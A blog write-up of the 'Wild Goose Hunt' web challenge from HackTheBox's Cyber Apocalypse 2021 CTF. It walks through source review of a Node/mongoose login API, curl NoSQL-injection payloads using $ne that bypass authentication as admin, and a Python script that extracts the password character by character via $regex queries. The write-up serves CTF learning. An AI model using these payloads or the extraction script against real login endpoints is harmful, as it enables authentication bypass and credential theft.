Kamil Gierach-Pacanek
CyberEthical.Me: Hacking for the Security Awareness

CyberEthical.Me: Hacking for the Security Awareness

Cyber Apocalypse 2021: Wild Goose Hunt

Cyber Apocalypse 2021: Wild Goose Hunt

Complete write-up

Kamil Gierach-Pacanek
ยทApr 29, 2021ยท

9 min read

Subscribe to my newsletter and never miss my upcoming articles

Table of contents

  • Introduction
  • Target of Evaluation
  • Recon
  • Exploit
  • Flag
  • Additional readings


Outdated Alien technology has been found by the human resistance. The system might contain sensitive information that could be of use to us. Our experts are trying to find a way into the system. Can you help?

Complete write up for the Wild Goose Hunt challenge at Cyber Apocalypse 2021 CTF hosted by HackTheBox.eu. This article is a part of a CTF: Cyber Apocalypse 2021 series. You can fork all my writeups directly from the GitHub.

Learn more from additional readings found at the end of the article. I would be thankful if you mention me when using parts of this article in your work. Enjoy!

TypeCTF / Web
NameCyber Apocalypse 2021 / Wild Goose Hunt
AuthorAsentinn / OkabeRintaro

Target of Evaluation

We are given the IP and a port:


And web application source code dump.


Let's find what we can with nmap:

$ sudo nmap -A -p 31978        

Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-23 09:09 CEST
Nmap scan report for
Host is up (0.0050s latency).

31978/tcp open  http    Node.js (Express middleware)
|_http-title: Web Threat Blocked
|_http-trane-info: Problem with XML parsing of /evox/about
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: bridge
Running: Oracle Virtualbox
OS CPE: cpe:/o:oracle:virtualbox
OS details: Oracle Virtualbox
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
1   0.24 ms XXX.XXX.XXX.XXX
2   0.30 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.59 seconds

Ok, Node.js application, nothing more. Let's explore the downloadable.




const express    = require('express');
const app        = express();
const bodyParser = require('body-parser');
const routes     = require('./routes');
const mongoose   = require('mongoose');

mongoose.connect('mongodb://localhost:27017/heros', { useNewUrlParser: true , useUnifiedTopology: true });

    extended: true 

app.set('view engine', 'pug');


app.all('*', (req, res) => {
    return res.status(404).send({
        message: '404 page not found'

app.listen(80, () => console.log('Listening on port 1337'));

Right away we can see the MongoDB database reference with mongoose library.


const express = require('express');
const router  = express.Router();
const User    = require('../models/User');

router.get('/', (req, res) => {
    return res.render('index');

router.post('/api/login', (req, res) => {
    let { username, password } = req.body;

    if (username && password) {
        return User.find({ 
            .then((user) => {
                if (user.length == 1) {
                    return res.json({logged: 1, message: `Login Successful, welcome back ${user[0].username}.` });
                } else {
                    return res.json({logged: 0, message: 'Login Failed'});
            .catch(() => res.json({ message: 'Something went wrong'}));
    return res.json({ message: 'Invalid username or password'});

module.exports = router;

It will be hard to do some NoSQL injection, because database is not queried directly - but with some mongoose models. For now let's remember that application uses Schema.find method to search in a user collection, giving username and password properties that are received in the POST request body. Also, worth remembering that API returns {logged: int, message: string} JSON.


const mongoose = require('mongoose');
const Schema   = mongoose.Schema;

let User = new Schema({
    username: {
        type: String
    password: {
        type: String
}, {
    collection: 'users'

module.exports = mongoose.model('User', User);

Boilerplate User model from users collection registration.


const login    = document.getElementById('login');
const response = document.getElementById('response');

login.addEventListener('submit', e => {


    fetch('/api/login', {
        method: 'POST',
        body: new URLSearchParams(new FormData(e.target))
        .then(resp => resp.json())
        .then(data => {
            if (data.logged) {
                response.innerHTML = data.message;
            } else {
                response.innerHTML = data.message;

Nothing interesting, because whatever is done to the request parameters that are read from the HTML element - we are going to bypass it querying the API directly.


        title HEROS
        meta(name="viewport" content="width=device-width, initial-scale=1, user-scalable=no")
        link(rel="icon" href="/images/favicon.webp")
        link(href="/css/main.css" rel="stylesheet")

    body(class="is-preload landing")

        div(class="content clearfix")
            header(class="site clearfix")
            div(class="col one")
                img(src="images/logo.gif" alt="HTB Industries" width="740" height="729" id="logo-v")
            div(class="col two")
                p HTB INDUSTRIES (TM)
                p ----------------------------------------
                p HEROS v 1.0.0
                p (C)2021 HTB INDUSTRIES
                p - CYBER APOCALYPSE -
        nav(class="site clear")
                    a(href="/" title="") Return Home
                    a(href="#" title="") Our Clients
                    a(href="#" title="") Contact Us    
        p System Administrator Integrated Message System (SAIMS)
        p System Administrator (SYSADM) - Elliot Alderson

            p Welcome to the System Administrator Integrated Message System (SAIMS). Fill out the fields below and press the SUBMIT button. The system administrator (SYSADM) will respond to your query after an appropriate amount of quiet contemplation. Thank you for contacting the System Administrator"s Office.
            form(id="login" method="POST")
                label Username >>
                input(type="text" name="username" id="username")
                label Password >>
                input(type="text" name="password" id="password")
                input(type="submit" id="submit" value="Submit")

That's just a Pug rendering engine. We are ready for the API enumeration to get the Logged in response, get the session ID and use it in the browser to see what we can do from then.


I'm assuming that mongoose library have some vulnerabilities over Schema.find method. We clearly cannot do some sneaky injections like ' || 1==1 so let's find out what we have here.

First things first, nmap that database port to see if by any change it is exposed to the network.

$ sudo nmap -A -p 27017

Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-24 18:42 CEST
Nmap scan report for
Host is up (0.00055s latency).

27017/tcp filtered mongod
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
1   0.72 ms
2   0.73 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.50 seconds

Well, it is filtered, so I guess it is behind a firewall, but I'm taking my chances with Metasploit:

msf6 auxiliary(scanner/mongodb/mongodb_login) > run

[*] - Scanning IP:
[-] - Unable to connect: The connection timed out (
[*] - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Yeah, no success. Also, with mongo client

$ ./mongo

MongoDB shell version v4.4.5
connecting to: mongodb://
Error: couldn't connect to server, connection attempt failed: SocketException: Error connecting to :: caused by :: Connection timed out :
exception: connect failed
exiting with code 1

So going back to the mongoose and API we've got here. When searching for vulnerables in Schema.find I've come across some interesting readings (check Additional readings section) that telling this, specifically:

To perform a successful MongoDB injection, it is enough if the attacker supplies the following malicious input data as a POST request:


The [$ne] query operator means not equal. Therefore, the resulting query will find the first record in which the username is admin and the password is not 1. If this code is used for authentication, the attacker is logged in as the admin user.

But I don't know the username, so I should aim for the following request: username[$eq]=admin&password[$ne]=. I did a test login on the web browser to see in what form POST request is made. application/x-www-form-urlencoded it is.

NoSQL Injection - $ne operator

I've tried many variations:

curl -H "application/x-www-form-urlencoded" -d "username=admin&password=admin" -v
curl -H "application/x-www-form-urlencoded" -d "username={'$gt': ''}&password={'$gt': ''}" -v
curl -H "application/x-www-form-urlencoded" -d "username[$gt]=&password[$gt]=" -v
curl -H "application/x-www-form-urlencoded;charset=UTF-8" -d "username[$gt]=&password[$gt]=" -v
curl -H "application/x-www-form-urlencoded" -d "username[$ne]=&password[$ne]=" -v
curl -H "Content-Type: application/x-www-form-urlencoded" -H "Accept: application/json" -d "username[$ne]=&password[$ne]=" -v
curl -H "application/x-www-form-urlencoded" -d "username[$eq]=admin&password[$ne]=foo" -v
curl -H "application/x-www-form-urlencoded;charset=UTF-8" -d "username[$ne]=&password[$ne]=" -v
curl -H "application/x-www-form-urlencoded" -d "username[$exists]=true&password[$exists]=true" -v
curl -H "application/x-www-form-urlencoded;charset=UTF-8" -d "username[$exists]=true&password[$exists]=true" -v
curl -H "application/x-www-form-urlencoded" -d "username%5B$gt%5D=&password%5B$gt%5D=" -v
curl -H "application/x-www-form-urlencoded;charset=UTF-8" -d "username={'$gt': ''}&password={'$gt': ''}" -v
curl -H "application/x-www-form-urlencoded" --data-urlencode "username[$eq]=" --data-urlencode "password[$ne]=" -v
curl -d "username[$gt]=&password[$gt]=" -v

curl -d "username[$gt]=&password[$gt]=" -v
curl -d "username%5B%24ne%5D%3D%26password%5B%24ne%5D%3D" -v
curl -d "username%5B%24ne%5D%3D&password%5B%24ne%5D%3D" -v
curl -H "application/x-www-form-urlencoded" -d "username={'$gt': ''}&password={'$gt': ''}" -v

    {"logged":0,"message":"Login Failed"} 

curl -H "application/json" -d "{'username': {'$gt': ''},'password': {'$gt': ''}}" -v
curl -H "application/json" -d "{'username': {'$ne': null}, 'password': {'$ne': null} }" -v
curl -H "application/x-www-form-urlencoded" --data-urlencode "username[$eq]=admin&password[$ne]=foo" -v
curl -d "username%5B$ne%5D=&password%5B$ne%5D=" -v
curl -H "Content-Type: text/plain" -d "username[$ne]=&password[$ne]=" -v

    {"message":"Invalid username or password"}

I've come up with the idea to see how really the request looks - I must send the wrong data. Capturing the traffic with wireshark indeed shows, that requests I am sending via curl are truncated from $ne-like parameters. So I'm encoding the whole POST data in CyberChef (gchq.github.io/CyberChef/#recipe=URL_Encode..) and voila:

$ curl -d "username%5B%24ne%5D%3D&password%5B%24ne%5D%3D" -v

*   Trying
* Connected to ( port 31978 (#0)
> POST /api/login HTTP/1.1
> Host:
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Length: 45
> Content-Type: application/x-www-form-urlencoded
* upload completely sent off: 45 out of 45 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 62
< ETag: W/"3e-BvDyP4u8qgWgGOMxzemBf6QGSBc"
< Date: Fri, 23 Apr 2021 10:41:57 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
* Connection #0 to host left intact
{"logged":1,"message":"Login Successful, welcome back admin."}

Now I need to get a grab on the session cookie.. But there is none. At least I have a username: admin.

I've scratched my head and started digging again. And I've found something.

NoSQL Injection - regex requests

Do you remember these movies when some hacker is cracking somebody's password - character by character?

If you thought this is only a movie trick to keep the viewers interested.. we're both mistaken. Apparently this is really a thing, and we are going to do this right now.

Regex queries/enumeration. Similar to the previous trick, but a bit smarter - instead of matching whatever password user can have - we are going to reverse guess the password character by character.


By making multiple requests we can match further and further by verifyng the response API is giving (remember logged property?). By assuming that the password is a flag we can make a successful login attempt with


So let's write a script.


I'm borrowing the baseline script from 0daylabs. After some modifications:

# mongoregexdiscovery.py

import requests
import string
import json 

flag = "CHTB{"
url = ""

restart = True

while restart:
    restart = False

    # Characters like *, ., &, and + have to be avoided because we use regex
    for i in string.ascii_letters + string.digits + "!@#$%^()@_{}":
        payload = flag + i
        post_data = {'username': 'admin', 'password[$regex]': payload + ".*"}
        r = requests.post(url, data=post_data, allow_redirects=False)

        rData = json.loads(r.content)
        if rData["logged"] == 1:
            #we succesfully logged in
            restart = True
            flag = payload

            # Exit if "}" gives a valid status

            if i == "}":
                print("\nFlag: " + flag)

Fire and forget. Sit back and feel like a movie hacker :)



Additional readings

Cover photo by Ales Nesetril on Unsplash

Did you find this article valuable?

Support Kamil Gierach-Pacanek by becoming a sponsor. Any amount is appreciated!

See recent sponsors |ย Learn more about Hashnode Sponsors
Share this